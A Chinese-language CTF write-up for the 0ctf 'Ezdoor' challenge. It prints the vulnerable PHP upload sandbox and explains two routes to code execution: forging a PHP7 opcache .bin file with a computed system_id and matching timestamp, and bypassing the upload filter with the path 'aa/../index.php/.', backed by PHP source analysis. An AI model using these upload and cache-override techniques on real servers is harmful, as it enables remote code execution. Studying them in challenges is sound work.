Altm4nz's blog

WEB划水选手

0ctf-Ezdoor

前言

复现以前几个月前的0ctf-Ezdoor,一个关于php7_opcache_override的题目。

环境

https://github.com/LyleMi/My-CTF-Challenges
dockerfile有一点问题,需要加一句

1
RUN mkdir /var/www/html/sandbox/

而且因为php更新,docker的php镜像不再是7.0.28,而是7.0.32。解题过程中要注意版本为7.0.32,其他不变。

题目分析

简单粗暴的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}

function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}

if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}

$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

六个点
①根据你IP的hash值为你单独创造一个沙盒
②打印phpinfo.txt
③重置为你创造的沙盒
④打印时间戳
⑤上传文件到刚才的沙盒,后缀名不允许出现’h’
⑥包含你的沙盒内的index.php

题目要求直截了当,绕过过滤覆盖掉沙盒内的index.php,通过shell功能来执行命令。

解法一(预期解)

php7环境内开启了opcache,可以通过覆盖缓存文件来getshell。

获取路径

首先要知道缓存路径,缓存文件会生成在opcache.file_cache+system_id.
通过phpinfo可以得到以下内容

1
2
3
4
opcache.file_cache => /tmp/cache => /tmp/cache
php_version = "7.0.32"
zend_extension_id = "API320151012,NTS"
zend_bin_id = "BIN_SIZEOF_CHAR48888"

通过脚本计算system_id

1
2
3
4
5
6
7
def systemid():
from md5 import md5
php_version = "7.0.32"
zend_extension_id = "API320151012,NTS"
zend_bin_id = "BIN_SIZEOF_CHAR48888"
return md5(php_version + zend_extension_id + zend_bin_id).hexdigest()
print systemid()

此时已经知道了缓存路径

1
/tmp/cache/8080d5c8053a7a50e39ace1fda848e85

伪造缓存文件

然后就要伪造index.php.bin文件了。
在本地搭建一个完全一样的php环境,然后放一个恶意文件shell.php在服务器中,访问这个文件。
然后去opcache路径下寻找到shell.php.bin.恶意文件就伪造好了。

更改timestamps

此时再次注意到,题目中开启了opcache.validate_timestamps => On => On
timestamps是文件生成时间,在php缓存机制中,如果缓存文件与原文件timestamps不一致,php会重新生成新的缓存文件来覆盖timestamps错误的缓存。
所以我们需要得知index.php.bin的时间戳。
题目中我们可以通过脚本连续访问reset功能和time功能来获取文件的timestamps。

1
2
3
print int(requests.get(url=url+"?action=time").content)
r=requests.get(url=base_url+"?action=reset")
print int(requests.get(url=url+"?action=time").content)

得到了时间戳,然后更改bin文件的时间戳

这样就构造好了完整的index.php.bin。
构造POST包上传文件

覆盖成功后访问?action=shell,成功执行上传php代码。

执行命令

题目BAN掉了大部分命令,但是可以使用 file_get_contents和scandir
最后使用

1
2
3
<?php
var_dump(scandir('/var/www/html/flag'));
?>
1
2
3
<?
file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad');
//这是个bin文件,最好转成base64再打印出来。

发现是个opcache头的bin文件,剩下的就是逆向大佬的事情了

解法二(非预期)

使用aa/../index.php/.即可绕过检测。

原理

直接查看php的底层实现文件路径处理的代码tsrm_realpath()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
i = len;  
// i的初始值为字符串的长度
while (i > start && !IS_SLASH(path[i-1])) {
i--;
// 把i定位到第一个/的后面
}
if (i == len ||
(i == len - 1 && path[i] == '.')) {
len = i - 1;
// 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php
is_dir = 1;
continue;
} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
//删除路径结尾的 /..
is_dir = 1;
if (link_is_dir) {
*link_is_dir = 1;
}
if (i - 1 <= start) {
return start ? start : len;
}
j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);
// 进行递归调用的时候,这里把strlen设置为了i-1

php会递归删除文件名后的/.和/..
我们上传index.php/.会被处理为index.php
这样就绕过了检测,但是这样的上传不会覆盖已有文件内容。
具体原因如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1077 if (save && php_sys_lstat(path, &st) < 0) {
1078 if (use_realpath == CWD_REALPATH) {
1079 /* file not found */
1080 return -1;
1081 }
1082 /* continue resolution anyway but don't save result in the cache */
1083 save = 0;
1084 }

1120 if (save) {
1121 directory = S_ISDIR(st.st_mode);
1122 if (link_is_dir) {
1123 *link_is_dir = directory;
1124 }
1125 if (is_dir && !directory) {
1125 /* not a directory */
1127 free_alloca(tmp, use_heap);
1128 return -1;
1129 }
1130 }

是一个宏定义,其实是系统函数lstat,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的/.,所以调用时传入的test.php 。 当第一次执行时不存在test.php文件,函数php_sys_lstat返回 -1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。

当第二次执行,覆盖老文件的时候,test.php已经是一个存在的文件了,所以php_sys_lstat返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为test.php/. 是一个目录(is_dir是1),现在有获取到test.php 是一个文件,所以is_dir && !directory为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件了。

move_uploaded_file()

查看move_uploaded_file()的底层代码

1
2
3
4
5
6
7
php
if (VCWD_RENAME(path, new_path) == 0) {
successful = 1;
} else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {
VCWD_UNLINK(path);
successful = 1;
}

由于index.php已经存在,会返回0,
那么我们拼接上一个不存在路径 aa/../index.php/.
php_sys_lstat返回-1,就可以成功覆盖文件。

最终payload aa/../index.php